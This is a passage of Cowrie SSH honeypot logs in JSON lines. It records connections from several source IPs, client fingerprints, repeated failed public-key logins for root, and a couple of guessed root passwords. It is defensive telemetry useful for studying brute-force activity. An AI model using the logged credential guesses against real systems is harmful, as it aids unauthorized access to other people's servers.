@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:22:35.673596Z","src_ip":"194.163.160.47","session":"cc7bb9fa882f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:80:17:90:f0:89:16:72:df:31:c5:84:13:7b:e2:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsy29/l+xkginEG62OqWI/k0c4bzeOGhWw/L6Qsr9PsXajCy0vwBIltYq7AVOoYyXtaDRW85A1ikFH/QEL6a2q13qgoHC5x+QSYQ8BSTBC4z8hazjAWUyicHlqZOpf+MzfXXF0byMnTBzf295RInxQznLvq2aw2eaM1yCORG3mkXrIfZ0OncbPCjmxzmpwezRvSPfe0SymWvxiDT6+8rAxDIRt/zyxbyWAK7rWInNk1AJWRljWM0DnV7W+gQ+nDby224s2yG2K43VPzRHzfvGZogQbmJAfakDfbFtvKxAQTIhL4/S3z3zzQ2NFhYX2mJnlhiiJQW40VeZ9GX2pLhNrQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9f:80:17:90:f0:89:16:72:df:31:c5:84:13:7b:e2:2a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:22:36.131377Z","src_ip":"194.163.160.47","session":"cc7bb9fa882f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:80:17:90:f0:89:16:72:df:31:c5:84:13:7b:e2:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsy29/l+xkginEG62OqWI/k0c4bzeOGhWw/L6Qsr9PsXajCy0vwBIltYq7AVOoYyXtaDRW85A1ikFH/QEL6a2q13qgoHC5x+QSYQ8BSTBC4z8hazjAWUyicHlqZOpf+MzfXXF0byMnTBzf295RInxQznLvq2aw2eaM1yCORG3mkXrIfZ0OncbPCjmxzmpwezRvSPfe0SymWvxiDT6+8rAxDIRt/zyxbyWAK7rWInNk1AJWRljWM0DnV7W+gQ+nDby224s2yG2K43VPzRHzfvGZogQbmJAfakDfbFtvKxAQTIhL4/S3z3zzQ2NFhYX2mJnlhiiJQW40VeZ9GX2pLhNrQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:22:36.134563Z","src_ip":"194.163.160.47","session":"cc7bb9fa882f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5c:95:f6:a4:c5:7e:60:e8:0e:e3:78:60:15:5e:be:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcNCja1L5LmsHJRrp1eFks+mEnxzZ2gqtVM1DWu23NV6c9gM9YxhFEpYvoCw6m42ryXCK69g3K1UU5eTdXDh3qkg1dBbMPjzvHhL11U8T11wj/PVdSeMt4pLCeelpq49K8Thxi0W/zciz+x3Sj7FeOkTsZLBnirrpRC0JbQXqxJPMFNth7q/Q3jQADLto1LA58oHANiWnqLkx1jTGyEelO7Kkq5isiTuLlFEeBm1ZZRzsfOk+hfC1//ihDo7CTAGZhM+Ou7Mjwz4y+SgVnj8y5s+HLbqoLva9jSK+H617WsjWz7dUWR6VGiWytFrcri8XJUAVX81OM2G2lJcSmCnqV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5c:95:f6:a4:c5:7e:60:e8:0e:e3:78:60:15:5e:be:e6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:22:36.228999Z","src_ip":"194.163.160.47","session":"cc7bb9fa882f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5c:95:f6:a4:c5:7e:60:e8:0e:e3:78:60:15:5e:be:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcNCja1L5LmsHJRrp1eFks+mEnxzZ2gqtVM1DWu23NV6c9gM9YxhFEpYvoCw6m42ryXCK69g3K1UU5eTdXDh3qkg1dBbMPjzvHhL11U8T11wj/PVdSeMt4pLCeelpq49K8Thxi0W/zciz+x3Sj7FeOkTsZLBnirrpRC0JbQXqxJPMFNth7q/Q3jQADLto1LA58oHANiWnqLkx1jTGyEelO7Kkq5isiTuLlFEeBm1ZZRzsfOk+hfC1//ihDo7CTAGZhM+Ou7Mjwz4y+SgVnj8y5s+HLbqoLva9jSK+H617WsjWz7dUWR6VGiWytFrcri8XJUAVX81OM2G2lJcSmCnqV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:22:36.233105Z","src_ip":"194.163.160.47","session":"cc7bb9fa882f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7e:30:63:ab:8f:8e:90:d5:13:ff:98:78:17:ed:6e:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCMubyDr1rvXRD4rNl619lIl0W2DqQDMOggve3zhJtJdhKRAHSszMmSeB4MA/7O+4EYxD55Z4quUOylNGjPbB71D9HllkLWmYMX3qd03JSEa19TXbZm/TblIm3H7lGLkntWilwDsWqR4rX6yKvhs8Pl7DTj3AseU2VpWbOR5KfxDi+MlmyvwEg3XcFTWklQ7BEgJzHguRQsu87GotzoEx4EvQDqIiec6n0n558XNRT8LNbdGcm8De3oWtjU9bVntytYAuwBpkUUhIJ+9OalVpjJiRHeKIC9Ca6eKX1CQFellkGVDqM9+tFiNsBc7xt+sbU9dI0jmoJthr/KwxSnEXMV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7e:30:63:ab:8f:8e:90:d5:13:ff:98:78:17:ed:6e:87","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:22:36.328523Z","src_ip":"194.163.160.47","session":"cc7bb9fa882f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7e:30:63:ab:8f:8e:90:d5:13:ff:98:78:17:ed:6e:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCMubyDr1rvXRD4rNl619lIl0W2DqQDMOggve3zhJtJdhKRAHSszMmSeB4MA/7O+4EYxD55Z4quUOylNGjPbB71D9HllkLWmYMX3qd03JSEa19TXbZm/TblIm3H7lGLkntWilwDsWqR4rX6yKvhs8Pl7DTj3AseU2VpWbOR5KfxDi+MlmyvwEg3XcFTWklQ7BEgJzHguRQsu87GotzoEx4EvQDqIiec6n0n558XNRT8LNbdGcm8De3oWtjU9bVntytYAuwBpkUUhIJ+9OalVpjJiRHeKIC9Ca6eKX1CQFellkGVDqM9+tFiNsBc7xt+sbU9dI0jmoJthr/KwxSnEXMV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:22:36.332513Z","src_ip":"194.163.160.47","session":"cc7bb9fa882f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"89:32:9a:d2:f8:8d:4a:91:25:be:ad:6b:5d:0a:4e:c4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDB6F42c/jFfXMv0+qKsGw/YJlDidXYaSDYT/X4cUmyp","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 89:32:9a:d2:f8:8d:4a:91:25:be:ad:6b:5d:0a:4e:c4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:22:36.428754Z","src_ip":"194.163.160.47","session":"cc7bb9fa882f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"89:32:9a:d2:f8:8d:4a:91:25:be:ad:6b:5d:0a:4e:c4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDB6F42c/jFfXMv0+qKsGw/YJlDidXYaSDYT/X4cUmyp","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:22:36.431390Z","src_ip":"194.163.160.47","session":"cc7bb9fa882f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:0e:26:ef:f9:9f:fc:29:30:76:5a:45:48:dc:b0:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkW6DNZNRmpbecDMFPAvtF+Q0QM5PGJL/posTLHH24KnHYOzSTt9+WALnRpqXIwskeNWxjdOYMEZhEuRrw/gFZEqLryXEdaOB4sy9tyYoRJePj1g/g0fm8tY1TJYqfcM88MSu8nXKyNm8k0e+649p+Nz8YYAwmysdxl6Wil5N3Ezio8AIktMtqY4g5H3tGU7CFvBDgJwbryvjM5z8b3dmAQkNQnErMvz1PS2Gcn1vgoqhAugNmcF5gpu5yAOXgwt/rU04jdfqWxv2FYctHrh5O/hYStAreKp5zVQp4k2SaorOZrmxqUSUsjPr8sdNOcWyNUMVP2gwgZlu8wkO/Ibw1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:0e:26:ef:f9:9f:fc:29:30:76:5a:45:48:dc:b0:38","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:22:36.532304Z","src_ip":"194.163.160.47","session":"cc7bb9fa882f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:0e:26:ef:f9:9f:fc:29:30:76:5a:45:48:dc:b0:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkW6DNZNRmpbecDMFPAvtF+Q0QM5PGJL/posTLHH24KnHYOzSTt9+WALnRpqXIwskeNWxjdOYMEZhEuRrw/gFZEqLryXEdaOB4sy9tyYoRJePj1g/g0fm8tY1TJYqfcM88MSu8nXKyNm8k0e+649p+Nz8YYAwmysdxl6Wil5N3Ezio8AIktMtqY4g5H3tGU7CFvBDgJwbryvjM5z8b3dmAQkNQnErMvz1PS2Gcn1vgoqhAugNmcF5gpu5yAOXgwt/rU04jdfqWxv2FYctHrh5O/hYStAreKp5zVQp4k2SaorOZrmxqUSUsjPr8sdNOcWyNUMVP2gwgZlu8wkO/Ibw1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:22:36.536123Z","src_ip":"194.163.160.47","session":"cc7bb9fa882f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:22:36.637715Z","src_ip":"194.163.160.47","session":"cc7bb9fa882f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":50972,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f099b1924c2","protocol":"ssh","message":"New connection: 109.237.96.109:50972 (159.203.135.109:22) [session: 4f099b1924c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:22:41.504929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:22:41.509588Z","src_ip":"109.237.96.109","session":"4f099b1924c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:22:41.604379Z","src_ip":"109.237.96.109","session":"4f099b1924c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazxcdews","message":"login attempt [root/qazxcdews] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:22:41.888715Z","src_ip":"109.237.96.109","session":"4f099b1924c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:22:42.986207Z","src_ip":"109.237.96.109","session":"4f099b1924c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.190.215.90","src_port":47756,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef3fd1798cf6","protocol":"ssh","message":"New connection: 186.190.215.90:47756 (10.17.0.5:22) [session: ef3fd1798cf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:23:57.816420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:23:57.820946Z","src_ip":"186.190.215.90","session":"ef3fd1798cf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:23:57.932923Z","src_ip":"186.190.215.90","session":"ef3fd1798cf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":54124,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7b60d25137f","protocol":"ssh","message":"New connection: 194.113.233.25:54124 (10.17.0.5:22) [session: d7b60d25137f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:23:58.087320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:23:58.092376Z","src_ip":"194.113.233.25","session":"d7b60d25137f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:23:58.182404Z","src_ip":"194.113.233.25","session":"d7b60d25137f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:4f:39:e0:f5:1a:15:d5:16:75:74:bc:33:52:1f:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyMgK4UH3USWacP0Iut9cQ3Zye+OIy0UPQgg0ERJa46DRI/1vgH9Gd2IqH1QC9snla/ZJl4r85FKGhf/5zitbHpg9412el0BWoWJuDy767lA3XGKqlz7OEZuCZ/C1CZPXndhevcGd58y7djziwpUYR8v6AskqbQufmY8HLkvbOoWsS2XZqE2fdUItnKpNFhzzmxghQGpV0sCXUqcTFmBl6qJp17j+o0NKUW4J7KkweLquK3xa6Ns19HjJCDhusjFK6drJg0XewN2N7iZUWF3dBWi/3tJ0L48L+1YOcpUzuN4Y8abWuRtirmqRXW4wK+oLLGGScBnoywsk85fmTg3dj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a8:4f:39:e0:f5:1a:15:d5:16:75:74:bc:33:52:1f:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:23:58.431146Z","src_ip":"186.190.215.90","session":"ef3fd1798cf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:4f:39:e0:f5:1a:15:d5:16:75:74:bc:33:52:1f:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyMgK4UH3USWacP0Iut9cQ3Zye+OIy0UPQgg0ERJa46DRI/1vgH9Gd2IqH1QC9snla/ZJl4r85FKGhf/5zitbHpg9412el0BWoWJuDy767lA3XGKqlz7OEZuCZ/C1CZPXndhevcGd58y7djziwpUYR8v6AskqbQufmY8HLkvbOoWsS2XZqE2fdUItnKpNFhzzmxghQGpV0sCXUqcTFmBl6qJp17j+o0NKUW4J7KkweLquK3xa6Ns19HjJCDhusjFK6drJg0XewN2N7iZUWF3dBWi/3tJ0L48L+1YOcpUzuN4Y8abWuRtirmqRXW4wK+oLLGGScBnoywsk85fmTg3dj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:23:58.435503Z","src_ip":"186.190.215.90","session":"ef3fd1798cf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"22061989","message":"login attempt [root/22061989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:23:58.451047Z","src_ip":"194.113.233.25","session":"d7b60d25137f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0f:1a:5f:c3:b7:10:f4:9e:82:58:71:59:cb:69:98:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDozTjpEI4KiUsXYDvrzZUfnrXl7WO3Lgcn+xCQsWKSwRIiTIwDs5h5Up0jv/wKDP+ybI/qLUw0YrkKUT/bGA48vPz9jLK9mk8rIqMrS7m+ETF6SVuOH97ntzqGJqJAJBQM7UBLg80USvJ2Si2rspqx7sa7FkN9Xs2xCgGx3y2BHHjNYpmTit5+T3w+jXgWGf8s6YDJpwEv6QnIQJvUq0EU+lORLNgNtddObIBTK6yj6QuS7/BN7ZqXjyH1fbjjhhYAPtFP3Vo4PX02dynz3/WHKuOE+ufey77dPm2Us/jSPZR+oaIQXbVUr2gxnqPBRGqas0DIlCMulQgqBEOO9t1H","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0f:1a:5f:c3:b7:10:f4:9e:82:58:71:59:cb:69:98:91","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:23:58.540810Z","src_ip":"186.190.215.90","session":"ef3fd1798cf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0f:1a:5f:c3:b7:10:f4:9e:82:58:71:59:cb:69:98:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDozTjpEI4KiUsXYDvrzZUfnrXl7WO3Lgcn+xCQsWKSwRIiTIwDs5h5Up0jv/wKDP+ybI/qLUw0YrkKUT/bGA48vPz9jLK9mk8rIqMrS7m+ETF6SVuOH97ntzqGJqJAJBQM7UBLg80USvJ2Si2rspqx7sa7FkN9Xs2xCgGx3y2BHHjNYpmTit5+T3w+jXgWGf8s6YDJpwEv6QnIQJvUq0EU+lORLNgNtddObIBTK6yj6QuS7/BN7ZqXjyH1fbjjhhYAPtFP3Vo4PX02dynz3/WHKuOE+ufey77dPm2Us/jSPZR+oaIQXbVUr2gxnqPBRGqas0DIlCMulQgqBEOO9t1H","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:23:58.544710Z","src_ip":"186.190.215.90","session":"ef3fd1798cf6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:8e:88:4c:7f:5d:a5:f7:c5:66:86:44:3c:ce:2f:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDME6ymA8/APozL6ytNRWcX7o0AHuqVcnXNed0xQneFO0Cu4mMF+n0SH3YgScWDGubfxYMrzlVQ9LT/c23P/Lhz30Xl1TlUa5BioukoLoMB+lT+8JmBoaH/IrwlNk6093vzIi4SniI4LA2wnIIEh/9BYFncxWhllmO4lp4iEK4nsp94DZ8OSfRq/wKYSRlI6VTCi/ExDYmzvl3GGWdpsSnuAx7uGyZAY0oInZ+xslzq3x7T8wO5YPM9snjcp2vFcrffA4n4LXsx/Jl5zmMWz1fOHgjT2iRc74bqhnZy7BkMxN+bqArH/pVy0zMVoua3tXUG4O1aFX8pEOYsJ7nYg+TF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 83:8e:88:4c:7f:5d:a5:f7:c5:66:86:44:3c:ce:2f:10","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:23:58.651676Z","src_ip":"186.190.215.90","session":"ef3fd1798cf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"83:8e:88:4c:7f:5d:a5:f7:c5:66:86:44:3c:ce:2f:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDME6ymA8/APozL6ytNRWcX7o0AHuqVcnXNed0xQneFO0Cu4mMF+n0SH3YgScWDGubfxYMrzlVQ9LT/c23P/Lhz30Xl1TlUa5BioukoLoMB+lT+8JmBoaH/IrwlNk6093vzIi4SniI4LA2wnIIEh/9BYFncxWhllmO4lp4iEK4nsp94DZ8OSfRq/wKYSRlI6VTCi/ExDYmzvl3GGWdpsSnuAx7uGyZAY0oInZ+xslzq3x7T8wO5YPM9snjcp2vFcrffA4n4LXsx/Jl5zmMWz1fOHgjT2iRc74bqhnZy7BkMxN+bqArH/pVy0zMVoua3tXUG4O1aFX8pEOYsJ7nYg+TF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:23:58.655808Z","src_ip":"186.190.215.90","session":"ef3fd1798cf6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cd:2c:44:67:a2:d4:d8:a7:88:1f:26:88:70:7e:f7:59","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDl7Pqo4ml/k0y/eucIVjKUD0qqX9AP++LRDKsiNmQwV","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint cd:2c:44:67:a2:d4:d8:a7:88:1f:26:88:70:7e:f7:59","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:23:58.760895Z","src_ip":"186.190.215.90","session":"ef3fd1798cf6","protocol":"ssh"}
